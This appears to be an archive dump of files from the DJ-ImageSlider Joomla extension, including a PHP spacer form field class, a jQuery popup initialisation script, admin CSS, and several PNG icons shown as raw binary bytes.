 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-MediaTools. If not, see <http://www.gnu.org/licenses/>.
 *
 */

defined('JPATH_PLATFORM') or die;

JFormHelper::loadFieldClass('Spacer');

/**
 * Form Field class for the Joomla Platform.
 * Provides spacer markup to be used in form layouts.
 *
 * @package     Joomla.Platform
 * @subpackage  Form
 * @since       11.1
 */
class JFormFieldDJSpacer extends JFormFieldSpacer
{
    /**
     * The form field type.
     *
     * @var    string
     * @since  11.1
     */
    protected $type = 'DJSpacer';

    /**
     * Method to get the field input markup for a spacer.
     * The spacer does not have accept input.
     *
     * @return  string  The field input markup.
     *
     * @since   11.1
     */
    protected function getInput()
    {
        return '';
    }

    /**
     * Method to get the field label markup for a spacer.
     * Use the label text or name from the XML element as the spacer or
     * Use a hr="true" to automatically generate plain hr markup
     *
     * @return  string  The field label markup.
     *
     * @since   11.1
     */
    protected function getLabel()
    {
    	$module = $this->form->getData()->get('module');
    	
    	if($module) {
	    	$lang = JFactory::getLanguage();
			$lang->load($module, JPATH_ROOT, 'en-GB', true, false);
	    	$lang->load($module, JPATH_ROOT . '/modules/'.$module, 'en-GB', true, false);
	    	$lang->load($module, JPATH_ROOT, null, true, false);
	    	$lang->load($module, JPATH_ROOT . '/modules/'.$module, null, true, false);
    	}
    	
    	JFactory::getDocument()->addStyleSheet(JURI::base(true).'/components/com_djimageslider/assets/admin.css');
    	
        $html = array();
        $class = $this->element['class'] ? (string) $this->element['class'] : '';
        $type = $this->element['alert_type'] ? (string) $this->element['alert_type'] : 'info';
        
        $html[] = '<div class="' . $class . ' djspacer alert alert-'.$type.'">';
        
        // Get the label text from the XML element, defaulting to the element name.
        $text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
        $text = $this->translateLabel ? JText::_($text) : $text;

		$html[] = '<strong id="' . $this->id . '-lbl">' . $text . '</strong>';
		
        // If a description is specified, use it to build a tooltip.
        if (!empty($this->description))
        {
            $html[] = '<div class="small">'
                . ($this->translateDescription ? JText::_($this->description) : $this->description)
            	. '</div> ';
        }
        
        $html[] = '</div>';
        
        return implode('', $html);
    }

    /**
     * Method to get the field title.
     *
     * @return  string  The field title.
     *
     * @since   11.1
     */
    protected function getTitle()
    {
        return $this->getLabel();
    }
}
com_djimageslider/assets/magnific-init.js000060400000001054152455305320014563 0ustar00// initialization of magnific popup for all album instances
!function($){

$(document).ready(function(){
	$('#adminForm').each(function() {
		
		$(this).magnificPopup({
	        delegate: '.mf-popup', // the selector for gallery item
	        type: 'image',
	        mainClass: 'mfp-img-mobile',
	        gallery: {
	          enabled: true
	        },
			image: {
				verticalFit: true
			},
			iframe: {
				patterns: {
					youtube: null,
					vimeo: null,
					link: {
						index: '/',
						src: '%id%'
					}
				}
			}
	    });
	});
});

}(jQuery);com_djimageslider/assets/ex_slider.png000060400000012114152455305320014172 0ustar00�PNG


IHDRPXbBp�tEXtSoftwareAdobe ImageReadyq�e<!iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:D17F49ADE35511E4B014FD84D6C69717" xmpMM:DocumentID="xmp.did:D17F49AEE35511E4B014FD84D6C69717"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D17F49ABE35511E4B014FD84D6C69717" stRef:documentID="xmp.did:D17F49ACE35511E4B014FD84D6C69717"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�/8��IDATx��]	tT��͛-�}�'��HB@KA@�P��
]N]�����u��JETl�V�uO�ߧ��_>+�ZJqa5@ �}�d�I&�df��w�ę�7a2�L �9�3��n��{���{G�t:b4�x�e"3: rqy(uV"
�7�#^x���o#�I���!^+7i��{Nr;��b0��.�� �U)��e��[u�ﶫ��U��z�,�6�>'j�:P�����U�H�6i���Ҩ|]�����O�!�ilH� J�l��U6�{�
U��h?�#{��|=�o����caH��*֡mԯ�/�����͕;�UiÙm&T�4�Zm��;
�ȸ)���!<�'�GD _�Rǖ���ʝ����WL8�݄�{@߭�Wc��8d��CX��W���_�~�R����/��k��jG�V���D2���3�}5c*���<$����ۯ�7K�nu���V�mm�n8��Ŝ��u�j� +��[��O��ԉ;��Cb!�ڷ;p��F����"vN�=����|59F�<����p���7ȝl��%�oB�{#�qJ�&��LD��p_Mv��?5>)��$0�����&�mp�r�%hUȠ�'�	����FP�O�<"�(:�B���r���8��	�6;B��	j�<��)��sPe� �o�?.u�]���ɚ��8�D��t#�)n��6'!ee��&ϊ@�*	�m��<�q�ǥ���K�y�y}�u)��į+��&�dy_h��ǛBN]�V�$
�mJD��8_M�'�/P�U��O�}Սo�G�G��(��H�x&�ar��SуC�n�?<��q��f������HЫ��H"r�A'�d�!~�w��֋ZY���h��2%,	���R`,4ȝ�W��'�,�^#��$u'k��n0i�<	�'ȝ��g�����J�[�jC��nj������Ry�gm��0��r�<[����V�z��L�޸�t? �����e^��WU^��1b0,&�c�ЫP��F�4�a�\İ8�H��7��&��>���@{q�8j�L��Y�*#�Q��Ԭ�=��q�$RhGG�d�+��5/k%�wڝ�
�\	������J�)^X����a�hɮ��-dװ�+����	La�x��ì
)�t����趰;\%�����C�u	�u�8U�D1&֌G�>�[�%�Nds���G�c,�̏��P�3�}m��9t���Y�
�u�|��J�:��N�E	��k�e��C�ہM*k�[�R�����*���Ab�����$R�:#E2'bŞ	�baH�Nr8	��$eq�K5��y�ɠ,�l<
iZ/��>5	a�z�6����D5,�m����C�����_�`*b�ϼS�ҽ�X��BE�F�n�H-���۷�u�Y(�2��=��T�>���OsPt�}����w11/Q���龖�[
���_��T^S
��F̢�kIѕ)��i�λ���/��Tkx_��Ư[�����0����_��Y*a��>T����)<^V���x㚽0�ÊL
��>3vo����}4ԘȼSk�(jN�����c/�h�OB�Ӑ$��ފ׿��f3�Zq~˔*��i��/�����F��{Vބ���W�N���fa��S�f�	"�^7�1�u�����t��&�V�3�j�_W~��Ӎ��E�8l�����g-?o���\�u>��Z�p+�<��ƿ����y��lVs��;���6��8�0d�H���!o��U�/݋�#�\/�C��E��'O�C*�8"(*;R�����G���O�V@��w7}F��C�g����"=b"#$�,!/&vB��
��E���q�[(btP/2��%�_���8u��"�n[mt
�!
�zW���F��V��@j����΂>J��߷��'&��gc�[WH�����:��m�Ν}NJ6J�
<�c 2Id�p�(��Ь[��}��qa��Xnxd)
���F�}�ES�g'�V��ܛA#`����c��L��e�ꁣ�wEEK�w_U�-��0;��,�?t�-�����uR�H��{B�ewj�K�󴫳�G1/��r�G�0��a�j@��@3�58=$�2gm�{b�K
[|�C�VF�Ҽ
��Q����Y1Y��r�d,�V�?x�*��q��"�ԑ2�,�94���-!�TK�t��pH�TByՋ��?fR@&	�k��\`���2�¦�^Y� 2��JaC����u~?@ec*�w)q�h$����$�ݨ��T�T�*�B�b�H��;j���(IG�x�d=l'�݋�Q���m�Lv
0�s��f"��PQw��+�lk�6�\M�)-���ZŋJ�Ꙋk�����N
�<��D���.aٝ�Y�%���R,
V�R.6ee.c��,p;�+X�9܊��
��#=q�2�~k4������݊�m��a�k�<u0[=��S(��A-��H����B����*�J�R+�T�1�d\��B&lT���X%%��#%aU�0P��Q*>�������N:0��%#}��Dff�U�e�R\v�F�u*%�,%��#ʥ�c�"S$*\�9�y$<S��	�	�d����8�+�B�<İ�51��c��6�fjy+A6[�q�pr���ȁa�!ɿ+�7�z�\=���~C�ԙI"��:���ea��J�=tc�2b�:5�e�5U<9w�I�4b�a�`��۸���I���:�gl�b�B�H
C|��9�2w�6a(�N$R@̌0t�ZD�`�l"�\�wX
L������Xx��
g>�Ş[����M�M99+�,��{�G��j�}ǧ��{�4��2�ʉ�]�����mJߩ�۷���^�FiJ�a�.��~��@����<3�wI$����
>��3��N�F��<{u�m���S��~?W?�v���I�
o���g��6�k2q�3�y���ł.̿%�>0��͌g��-�܌�җl���K6^���.:�U��k����m����0�8���D'�W�ri�9��DD\>�c��+d�,J�5c��4Y�&kEj�)P���I�
�Ε<�s�@���Vϳlm؊��|���$ڹ$fP��@��D�&�ц���حܙ0��m�K�F���H��~ެh�k:I�/��„���V��a��͛����L~L.`šh�['촻@T�T���y;OdT~o&
%�����ٮ;��	Ew���Q�/�+n�1#
)�\�/��Dwk/oüm�q��p�ģ�ϛ�:���ǯ��j,j�~~�ܼ4[�zG�ct����������*���{\ד���q�U�I,6+��p��]���xE����r�Pv�o��
��ɋ�x������M���$W=W��B���]p�&�%��N�>�ݒA|ա��<+�*�ʰyd�����a�V҆��.Rl�#�m�*uK�����e��%�n��ın?܀�}˕k�$V�S9#_
�����B2+��bm:�I�۞�~��7۱5��b�r�DA��e�Kg�:,{�~��+7j�O����$�tV�}��Q�����.�xN����'c	Ś	�d�0Yv���7���O[��;Y�ׂ���h����4b�(��P��F,�T�i�}>M�G�6USt�'O�Br���؜8��	�hEe�)��J�ܔ:l"SW�����둹C�/����>���6�,Y&�UaC����Qe;���q��/��<���\�*S��)��ڣ]?�
�?606r���>Y���C��<��)�L�����$���#�e�/�;�խS�U�o�̱�'��l�T�ٳIsFnQh�x����{��{~��O�^_xJH��.���әJ���$�l���W�����h���d;��j���K�w�BcP�W�\�4��w���!�"{���p�A��E����%8�J)ګ;0zb��ż�y3�|��U�$���C@ ݈����@$ ���~"�<d��h�<D��\�7�&�d7�Y=�t+xse'o+��;�H$r0�c�u޺<�y
7��	�A��y�s
T��|�#`v�7O��]g�t�M�Z���<��ys6�w>��_?F0fdK��8מ��0}�U���(�wF9��1�ډȥw�*�����F�i�Y��R���JAS?��o�,v�s��GIEND�B`�com_djimageslider/assets/icon-48-category.png000060400000001322152455305320015207 0ustar00�PNG


IHDR00W���IDATx^�AkA�o��ԓ�Q�փ"x����"��~�����AA�E��~�&���HAA�i�PPpi�"i�C�ðۤ��Y��Y�.���,�U%�d��@O�'�qB!
��0
؞H����2�J�M�!`�ex���
�ؗ���m1L�e”�,���Ƴ�7čjF	:g�HY��j�Ld�-��7D&wV�3�u�ܔ����'�jxHȪ���-z�X����X_�C�"����“=T�p�&�kV��C@�p��HP`�a�	��xM�����"�%����`�%�Ar��n�*��dW1�0L&Њ���:��@!�
���@�+���D�	-$d��
ȍ�X��T�~���f��0��(%�}เPH���D�r�sE����<�"W?��������O�}�@�u�+ $�3g/q�2�>n}�<�c���wq{gbɕ�-�@��N.(�9�'�ν����6�$����(y|@���{jVi�T�����^�(�%XZ��]������Q1�Y��B�u�8���9A�A`��6�����6
�ub`&tz�-�&����jI�G6g���t��֗9�6\�����dѦ��&�:m�D����������)�Ӽ��ڴP�IEND�B`�com_djimageslider/assets/icon-16-dj.png000060400000006021152455305320013763 0ustar00�PNG


IHDR��h6	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F<IDATxڌ��Ka�?/��H
�'��;wQ7nuC��?��"����ԢK���B�54��
5��H6�[�E����|���<Y|,�2+��94� ���o'"�F�9���;���$S�X��29j��z+~/|�O�i�*1F�q����LT��=�Fhv���@�J���)�*��"��	h�*C}�㫘Cؽ�T�M#m�!��\#���+jz�ʐ	���k�d�����a��f_�p%�x�Xf�88׌��N<ω~:\�+�6�\������f~��x4	����h"r�����x����(eĂ*�IEND�B`�com_djimageslider/assets/icon-48-slide-add.png000060400000005063152455305320015226 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<	�IDATx��Z]l�>3�?����v���_Lc��)4E	QS!E}��h�TDJ�J}�ڷ��D�S%��(RR��4Q@�HEj�Z5�1���NL�q�q�^����Ͻ=����x1���H\8����{�w�w~�EJ	�P�!�<��C>B�.]���o�s�εF"��p8ܧ�jm(zRQ�Z�.��[|���x�b����C��d���:R��~��D�w���F!���iPUUlۆ��q����恠%Ϝ9ӖH$ZQ�}X�H�^T��l&�H�r%�3�`A��B�]�g�:\+���8;v�c��ͣdIR��$��3Y�>JB�P�q@I�R��X=��4������|����$q��z���Za�Dss�������x%��4@v��4@~t{T��e�_��G������W��� ��.--���
���2H�p�˕ �VݹsGg��$��;
Z�ŠJ��ᣄ�3da��O��`Y{��@��u��8~�bFK&�y�!���Dڒ�|y 
EGGGo�޽�hmm�4$R��S���{�L_��i��bPV����_���v|����%���:��&P�����(U�U�z���@�5H�2+���
�P�Y�f2�5��<Œ@�^7�p�8:TA�耞��`JO�	���6��"��A�C�� �$�͛��Qn���(_Fy3�`wO�޼�����bh]ۑp��%XH�_�Lr1v���p7�"@u�z��]�_�����033s����M���$gmQ�'�B(H		FA�B�~. k9�ǫៅ���.��~ �Gn���"��H�P u��>�i��Z=�ߨL�B�
	�i�suMP�Pq-�R��J)e��B4\���lz��̋�bgzz�Jgg�v]��{H�*P�,�R(@:#Ac.��O|
#�FEJo���݁��[��b쑎�% |�*�����g�ȁ�r�,L}K6�m���"��C�iKp,�@�-�z�§xcl�"��4x�_�<��\yI��g]�=�.Q;�̀�b� ��o7��D!"M�-N��U)R��AA�U$d(oP\C%
�D%�޻���9�8�����!�{lll�
�DW����(+/}.�$U�J�@k��U����ᄣ��WxI	�Z;�D�ĩ8��������41!%vb���/B)*΂�|�U��m���@6K�t��ҹ@�wy�Si�,Po��(Y>@!�;�Q�pDq�ŀ�f!�,��t/�+�.��Ԣ{�/�]���Jb�v�G!pi$�($\TF�P�B��'k��@&~�h'3�`�i��vB
4셹����@K!�D�>��K�
D.�*b���ӆ�T��5D7�{F.�
^��)��E+�u��K�3���n
U����x���+��?޷W��7�ݼ`�^8������/��������e
gf`+^�P�1�F*����/����;����>?������g�V��9NuA�V\�A�1H���X���z�D�V:V)�Ǐ���X�orD��b����OY-O����;����Xi�s��߳�R�W����+�{�b�n%��Ni��۟3�V�/v��y1&~���!�8�w�qP�;1�S)�p���ZW��/�2���cg�u@3�}����-XI��lW"I�6�h����_�_��@��zS����v��c�vд�"�h4UE`�1Q���:�oC��à�,p�3�Z���ҕb
M�Ccz�m�ww�O�m��ٳom��<`��
ֆ����y�7��tw?����JǺO^� ̣���R���*(z-8W~2u�)�D� �FZ�4��s%���)䡆��'&''S�N�Z�N.�j��_�
M|�<D�[�,,�,��j��u�7���)�wƸ�dg�Q��}ߋ��N��),�W��G���g$�w~d@`?����~"�&~�y�+h��@1 ߳'�GF�~Z���@����H5/>D0�fD���mN�:$z�~����~�Xq��?�L�����^�BA +n]���5�[�� m����e�WACa0ρy�֠`�2_�O�*��⽫��M�����<����N�J��@�811��{5�cs&����:�l�]�w�ڴ�]��ע�!/^�]�� �N�j^�^F�V��׻ޏ{o0@I�Ю��AŅ߀5��eVw0���bj�h��?p�y��Rmn-΂D�<�衽�:L��K���r;�e�[0�E��g��t��Kk5�>���w��@�V�xh�=P�c����~�5�c���
�8�dmr�z���2}
�<[:;�n2�p���7�Ŵ�)>ϑ{��{������V�ؾ��l���Q���i����
d^kyA�"R�6>g	���f�O��`�o�/x�W�P�HV�PIEND�B`�com_djimageslider/assets/icon-16-menu-slides.png000060400000001343152455305320015615 0ustar00�PNG


IHDR�atEXtSoftwareAdobe ImageReadyq�e<�IDATx�ē[kA��;��l��6%54M�A
��j����>��~�^*�~l�,�T�Jz3J���
���4!��^g�MQ0���3��3�8��9�<��#�J���rn�|w| ����_�~cH�S�ջ�C�<�����������sB�!Yb=!�
��}P5C9��]��,HK��2-���mp``Dȱ���Ŏ����4`�M�R�>:"��PvZ�}�CTL߆ٴVj��m����pz%�8�����AO����������=��Ji�P�sH�㘒/a�G�1M�Rޫ�VҐ�q����7��¥�M��k��Y\�ȑI���Aǩm~�ܝ�8��m����XީB&<ZC����H>G�R�Dg�f�ܵi���R��c���(@��{�^��S�Ա�59�U�h`��oQ��[��Z�5BWP:}]�GCUѨ����0MH��" ?�0V�)8-r��6L
�R����s����I5��.�/�D��84]�x����c333ӅB��񓧏B��e���^^@��u��j���:ȴɊ2�^ZZ���_1?��e>�W���J�W=YmA�����]�ms�$I����r��yu���eψ�w�/��)�J���IEND�B`�com_djimageslider/assets/admin.css000060400000001311152455305320013305 0ustar00/**
* CPanel
*/
.cpanel {
}

.cpanel div.icon {
    text-align: center;
    margin: 0 10px 10px 0;
	width: 108px;
	height: 100px;
	float: left;
}

.cpanel div.icon a {
	background-color: #FFFFFF;
    border: 1px solid #CCCCCC;
    border-radius: 5px 5px 5px 5px;
    color: #565656;
    display: block;
    float: left;
    height: 97px;
    text-decoration: none;
    vertical-align: middle;
    width: 108px;
}
.cpanel div.icon img {
	margin: 0 auto;
    padding: 10px 0;
}

.cpanel div.icon span {
	display: block;
    text-align: center;
}

.control-group.field-spacer .control-label {
	display: inline-block;
	width: auto;
	float: none;
}
.control-group.field-spacer .form-text.text-muted {
	display: none;
}com_djimageslider/assets/icon-48-slides.png000060400000004172152455305320014663 0ustar00�PNG


IHDR00W��AIDATx^�Z[lT�]����'��(�m�0���P���ߤBB�HU�j�Q�*R��O��Z���*U�!�&VN����M���Ʋ<��y�9]��}L�H3����h�^�G箵��\�mH)�U���%`K�1==�Fbbb��3<�*l 󆛄۷o'��p_(:h�fG0|�0�)�?���?��F�M���t)�$�955uD�$�$�H$�X,�@ ���VP,���<�}i���7���x�d�ң��I�&�IN��&�'<-�B���d���J5����|���ÇgI^�#IM�b�oJҍB�۶a��hE(����{�c0��>�Y�
���ާ�
kX@��߼y�ͱ��tww�&�v�����"�_D�zSnhe��`���|sssضm��݋\.���u�J�ܥ�I%H��#���z��=����^���G��F ��SI��ҿ���QJ��t���׍R��l6�L&�
KQ�?��䠶�Nb�s�}���_�����}�M�Sؔd���,�K�ac����H�V122����rS�?�@x?��Ep%	!\A�(U
���#(U-���u�ر�.\���g�@��ojj52�9<��6����&FGGf/�s��Y�5Dъ1���7��
BKK��Hܭ�'�^�6q�x���/��&G�0�F���>��2/i��%��v
��W�̘���\�o��`����lW�w-�XYY����[~`�=��\6��F˽kNi
�ق�j��G3�m�
�
���=�d��]r�̗=A=��j"V��1� �F�@XXm�0�-��g%V���j3�>�)L%CgY@�HbJ�L܈�-��.�؊1�
йVX\\�dppp4�F���0�
K�P ��h*>��%��'vEL|w"/,�4!M�QZ�so�S��Jf���J���m��@ D>ԏ��,�%a�����Θ��e��5��;xc\��CU��"y�{pmo�7�s	`c#���G��,"�=��?�U�=���\=!�/Z��3L�p{�j�vǬG��O�%u�H�U�l
 yB��K·���Z}���#G����.L�<x���=�
BJf��W_�ϟ?�eƊ�Q�}G��+`�]���`�F�N�
S��M=�(ݤ���bA�����-��Ȼ�z+@��B�l��a8�Mu/���Z�A�S��^�o�n��Qj�&�:8!Qe!�@D��BR�7K�~�	-�72�m](��3�TU�>X^^�<����PU��)v��δsä�-��+�PGx'vDz�g���g�M���I�\^n��&�$*F^@��<F�g�Fz@��H	�X>y}��zP	ҟ͗Ln&@����ݗ��߈�H��|�'ذX[Kami	]jյP#=��$�
(�M�:�0@����Z�����մ~vi��9H�{�?�U�ĺ*G(Y�'6��Zv	������\���ٳg�=��NJ�U=��9`W�Q�.T9B#�8z��s�|��3-D�|�NZ���T~t�"��j�������!�s�O�����D2��;�9��(��}f�*�b�Z
����WW��4�O�ˢ݌s@�l�0�}H�{F*���Q(<���@�}�YO��M��$-P��B��zZØ莣��u�q5�D�������k���R
\K@�X�7��|�X,�y6L'����������n鏿�[�����>#y8S�k�R,���?K�M��Ύ;=x� u���Ua��x���� ����A$����fj	�D��ً/�Ԛ�("��zX��WZ�p��'�*ծ�nd�jf�����n�$��fշ�D�`�*�*��T	�4Qeͯ��[�Nq҄�����o�����!b�K�$�5�axrB�Dc-cM �s��>}�S7��ҵk��Dw$�c��N��ݿ��z[�.�Z��@�0	�'N��`�hT�M䈕3g���h,Qr�R$�!b԰t�(zB���$euƛ!@:��/㗄~_��֟l	������Ci��r�IEND�B`�com_djimageslider/assets/icon-image.png000060400000001071152455305320014224 0ustar00�PNG


IHDR!�1�&tEXtSoftwareAdobe ImageReadyq�e<�IDATxڴU��Q�w�"��P�-V��35�x!/��,�X��l��XP�4����q�&�̝;��-Ngν�|�~s���L&��Z�YB�P,{�\.���j���6�|�l�ݤ��H$��^/��
k�6���@ �H$@y>�7��r���r��L?:A:�|����A�Z�i��Z��A��$��}��4b��n�[(dY��v4Ѐ��LG�e�t:m4�\`����i���hv:���fӜ�c�Zy�X��zt!,�L��l�_
}0N]�q:���1�E�S���)��(�����@�0k���2Ȼ�):�����p��S�T�Xd��|�8��e���yQ+���=��{��]������b����l���p�@vX�e�A������wU��S*��[Ai���z���?#��N&�ߏ�G5�ĸ��P�͗^�~�r`zh�T�z�2IEND�B`�com_djimageslider/assets/icon-48-category-add.png000060400000002200152455305320015731 0ustar00�PNG


IHDR00W��GIDATx^�]�Te��9g�Udgw�TJv"�eWH��B!��-�Bw#�P	E$�K����IԠ�Y�v�	�M��UA����9�}ZZ�0;gg�g�����yn���<��QU*�
gJ`J`J��q�SM-@�������"oR���E���!�\Z�=~l�v&Q��f3	\bb�����ev�-�d�tr�8��{�D>��]��5$��ހ��[I-��K�tߝ��(C�@�
�L	L	�� ;h5��h���"�!MG��8K��b��k����j���)����:��d��{��e�3�៮f �a�/�r��A�l��x�7͑j*�B�4���@�i�q�,"�!�������J% ���Be��ѿȎϻ$)o\�]���P���%
ȭ��#pY�g�����5l���{X=������� d�����{�����C}T��fp�j5_�V�V��|jd���{7�,p�&���%g���?@)�m�/���_n�`q�U�]�Bh����d��
x����U�s��*\��3"b���g��m��l�
����̓<�/~��ȯk�A��̍>V�x����ky����`���}�\x���/|h��OU0f��d��%���OB0���D�E��aR���s`Y�����kE�YDZ�(hDz�R_쪮cP�9~��Ǯ���@���r�XB�e�8��ؙR�믾�	��&nϼ�%��JX���8�PJ��	9ysM]q������ܬ���7W�P���Aj�M�t��m�6�Ö��d���d���܉\ی@Q׼�T��n\�����N0���UN��}ˉl�2@5��+;"-�?�|�7��sX
�j���0���A�t�>ƒ#����`�n�Mm�ܾ����n�[�+��e'��Gl��6b�M�:�Ts�^�њm�:L����Kxm�v�vy�^��݅GϘ���]�@��y�⵵>�l?�1����0��|�i{�[4X4t�Y�
o�Kݬw���۰����������P(0V�t�n�����f|�IEND�B`�com_djimageslider/assets/icon-48-help.png000060400000005627152455305320014336 0ustar00�PNG


IHDR00W��^IDATx^�Y{�\e�}�13;3۝B[P�p5QZ�h(;[Z��51b�tK��<AD\�ADZ5H�I)�JLlW�W�mibK�ݾ�@��mE���y�{��9'_�����L���ߞ��s��s�w��^�!ؔR8];��Ý�4F7�K)t)(@�OH�C_rCsa�/�ۏsw0;x%z��^�k�ڷ`�6l˂E !F�I�:����@�������u��Nì�%N8
`=!o�>�l&-�d��gdm��?�$	{i�BN�N�@H���l�.��h��-k2��]0��$Ri��C�7B�裊fV�8�[8�g�N"�Nf��3�&Z���8����i�t^2�.��n��8�W�j��d�AQl;8���M�A�6j���U>��o�Xv"AB�f�4�o��dD�g,���R�9��2�VE�@XC�bY��x/)B\������T@s�eRi�m�9(&n�H��[��Su����M�Q������j��y�:y�x	��m#��>�!���L:�o'RH�I��+�ٲVlz�ᬰ�J:FB1}�#4���gNJ�&9O�1g��֟�4�~�M���JYum��u��B�� �������cfo�� �C%wg��!��%�M�p�C3N��<wM�kc��]�T)䣶��O)���O��w�X,b||�	E:f?zd���0َWC�J�����M�r�Z�n�:r��x�(ӑ s�z���`佷1nD�q���6��x��*�5V����X�-<l�1��[�`��I�$�2�HŞ0���Zb�TC�X�	<��(�J��r�OP.�-�JC��� �X�
_cre��212��"U�ͦ
�k@-Z�
�=
˯�IfP���V-�-�0F��(�^����m��5�Ė{fwZ������E�C�7f����쓟J��C&Ԫ?����`���Q# Z۶����g���2���"�D��#ej��7���;/0��>`�ƞ�_��Z��I[)��51>�'���e:�v�7��\�ʜNPU�:yDZ������-_���u�M��iɼ���A�ʁB��Ʌ���й��r�}�b��!�ɅK�.�A��V�<�����b-ě��L9�3?���7�#���z^i��(�m(�|�Fb�����`±�t�����H,��:�Ө7��M�`�x��y����7#S�9�BA@�Gv��`�&T������i����O.�}suV�S���+W!�����M�[�%|Y�	@�G�H��Z�Y7��n������V��7�ǐ^~;¹���ִ&7C��r�D���1���%�r��uf`���D����: ���g��w�03��dG%�x�؆�%_|L˘ƣ����0?���ۘ�x47It�N�����a?��[DJ�V��@6����X�\���3��;w��!PJ|#3ǦT ,hӇ�L�2B8�1
�>�����o�wUy�%�Z9�5x��M�ߙ, Đ�:�@�d��}凾�����Χ�k��=z٬\�ЎޱͿ��Gm���wzᨅ���6�ཱུ�'~��_]�ғ����(R������c�Ҳ`N��ZOc�d���{��!Ź�-���d���
t`�x��(=�;��r���EuW?ti�G��
�#Ȥ\��D���Xw�_�M��$$��b"�+my�w-���?F��@f�\�c_>����~��
����}���R�Z�BX�9�R�l*�v�����-��
}ns&��ɹ�R�-�B
��F���;�5Px�&T��g�'��?���zm7!O�`�B\E��+(�m���i�n����m�,�;kŝ�|���m���U�m�r�йB�Ed��!-�	�� ;���F譏�lCL��:B��}^
��@IYBC\���aތp��W�e���]r�d"�={�a.=�q�����K�%�H	yX
���8��ɓ
�'��-��� g�����5���CmqH�Τs��܋�@&�E6���/Z�3�)�A���S.0�3����ׄ��5{�r+a��=��Y�
�ܨ}�ɩ�¢�鄬灅W�%��Œ`��]��K��k[\��d��D�_�����KI~4���Wa-��_��Qvț &h0�B�_p���2O>c����]�ß3���c14�:�
